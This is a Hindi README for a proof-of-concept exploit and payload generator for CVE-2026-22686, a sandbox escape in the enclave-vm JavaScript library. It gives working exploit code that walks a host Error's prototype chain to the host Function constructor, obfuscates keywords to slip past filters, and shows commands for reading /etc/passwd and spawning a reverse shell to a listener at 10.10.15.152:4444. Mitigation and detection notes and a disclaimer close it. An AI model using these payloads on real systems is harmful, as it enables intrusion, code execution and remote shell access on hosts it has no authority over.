
CVE-2026-22686 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और पेलोड जनरेटर, जो enclave-vm <2.7.0 में एक सैंडबॉक्स एस्केप है जो मनमाना कोड निष्पादन और रिवर्स शेल सक्षम करता है।
CVE-2026-22686 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉइट और पेलोड जनरेटर, जो enclave-vm के 2.7.0 से पहले के संस्करणों में एक गंभीर सैंडबॉक्स एस्केप भेद्यता है, जो होस्ट Node.js रनटाइम के भीतर मनमाने कोड निष्पादन की अनुमति देता है।
⚠️ अस्वीकरण: यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। पूर्व लिखित सहमति के बिना सिस्टम के विरुद्ध इसका उपयोग अवैध है। लेखक किसी भी दुरुपयोग के लिए कोई दायित्व नहीं मानता।
enclave-vm एक JavaScript सैंडबॉक्सिंग लाइब्रेरी है जिसे नियंत्रित वातावरण के भीतर अविश्वसनीय कोड को सुरक्षित रूप से निष्पादित करने के लिए डिज़ाइन किया गया है। < 2.7.0 संस्करणों में, होस्ट-साइड एरर ऑब्जेक्ट्स को सैंडबॉक्स में उजागर करने के तरीके में एक खामी है जो हमलावर को प्रोटोटाइप चेन को पार करने और होस्ट के Function कंस्ट्रक्टर तक पहुंचने की अनुमति देती है, जिससे प्रभावी रूप से सैंडबॉक्स से बाहर निकलना संभव हो जाता है।
इस रिपॉजिटरी में शामिल हैं:
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (गंभीर) |
| CWE | CWE-693 — सुरक्षा तंत्र विफलता |
| घटक | enclave-vm |
| प्रभावित | < 2.7.0 |
| में ठीक किया गया | 2.7.0 |
| प्रभाव | सैंडबॉक्स एस्केप → मनमाना कोड निष्पादन (RCE) |
जब एक सैंडबॉक्स्ड टूल कॉल विफल होता है, तो enclave-vm होस्ट-साइड Error ऑब्जेक्ट को वापस सैंडबॉक्स्ड कोड में उजागर करता है। चूंकि यह एरर ऑब्जेक्ट होस्ट वातावरण से अपनी मूल प्रोटोटाइप चेन बनाए रखता है, एक हमलावर निम्नानुसार चेन को ऊपर की ओर चल सकता है:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
एक बार होस्ट Function कंस्ट्रक्टर प्राप्त हो जाने पर, हमलावर होस्ट रनटाइम में मनमाना JavaScript संकलित और निष्पादित कर सकता है — पूरी तरह से सैंडबॉक्स को बायपास करते हुए।
एक्सप्लॉइट इन चरणों का पालन करता है:
callTool('NONEXISTENT', {}))।Error.prototype.constructor.constructor तक पहुंचने के लिए, जो होस्ट का Function है।Function का उपयोग करके और इसे निष्पादित करें।child_process लोड करता है और एक मनमाना शेल कमांड निष्पादित करता है (या एक रिवर्स शेल स्पॉन करता है)।सभी संवेदनशील कीवर्ड (constructor, __proto__, __lookupGetter__, prototype) को ASCII कैरेक्टर कोड के रूप में अस्पष्ट किया गया है ताकि भोले स्टेटिक फ़िल्टर को बायपास किया जा सके।
कोई बाहरी निर्भरता नहीं — केवल Python मानक लाइब्रेरी का उपयोग करता है।
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
आवश्यकताएँ:
python3 generator.py
आपसे अनुरोध किया जाएगा:
फिर उत्पन्न पेलोड को कॉपी करें और इसे भेद्य सैंडबॉक्स इनपुट में पेस्ट करें।
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
टर्मिनल 1 (हमलावर — लिसनर):
nc -lvnp 4444
टर्मिनल 2 (जनरेटर):
python3 generator.py --revshell 10.10.15.152 4444
परिणामी पेलोड को कॉपी करें और इसे सैंडबॉक्स में पेस्ट करें। आपको टर्मिनल 1 में एक शेल प्राप्त होना चाहिए।
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| फ़्लैग | विवरण |
|---|---|
-c, --command | निष्पादित करने के लिए शेल कमांड |
--revshell LHOST LPORT | एक रिवर्स शेल पेलोड उत्पन्न करें |
--raw | केवल पेलोड प्रिंट करें (कोई बैनर नहीं, कोई सजावट नहीं) |
--lang {fr,en} | इंटरफ़ेस भाषा को बाध्य करें |
-h, --help | सहायता और उदाहरण दिखाएं |
const s = (...args) => String.fromCharCode(...args);
रनटाइम पर ASCII कोड एरे को डिकोड करने के लिए एक छोटा हेल्पर।
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
साधारण स्ट्रिंग-आधारित फ़िल्टर से बचता है।
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
होस्ट Function का उपयोग तब child_process.execSync() के माध्यम से हमलावर के कमांड को निष्पादित करने के लिए किया जाता है।
डेवलपर्स के लिए:
enclave-vm को >= 2.7.0 में अपग्रेड करें।npm audit, Snyk, Dependabot)।isolated-vm, gVisor, Firecracker)।उपयोगकर्ताओं / संगठनों के लिए:
पहचान:
callTool('NONEXISTENT', __lookupGetter__, कॉमा-सेपरेटेड इंटीजर लिटरल के लंबे एरे, या child_process / execSync वाले HTTP अनुरोधों या कोड सबमिशन की तलाश करें।
यह प्रोजेक्ट कड़ाई से शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान के लिए प्रकाशित किया गया है। यह सुरक्षा शोधकर्ताओं, अधिकृत प्रवेश परीक्षकों और CTF खिलाड़ियों के लिए है।
इस टूल का उपयोग उन सिस्टम के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है। अधिकांश क्षेत्राधिकारों में कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है (अमेरिका में CFAA, यूके में Computer Misuse Act, फ्रांस में Article 323-1) और इसके परिणामस्वरूप गंभीर आपराधिक दंड हो सकते हैं।
इस सॉफ़्टवेयर का उपयोग करके, आप सहमत हैं कि लेखक इसके उपयोग से होने वाले किसी भी नुकसान या कानूनी परिणामों के लिए जिम्मेदार नहीं है।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है — विवरण के लिए LICENSE फ़ाइल देखें।
enclave-vm अनुरक्षकों को जिम्मेदार प्रकटीकरण और फिक्स के लिएपुल रिक्वेस्ट का स्वागत है। बड़े बदलावों के लिए, कृपया पहले एक इश्यू खोलें।
सुझाए गए सुधार:
vm2, isolated-vm)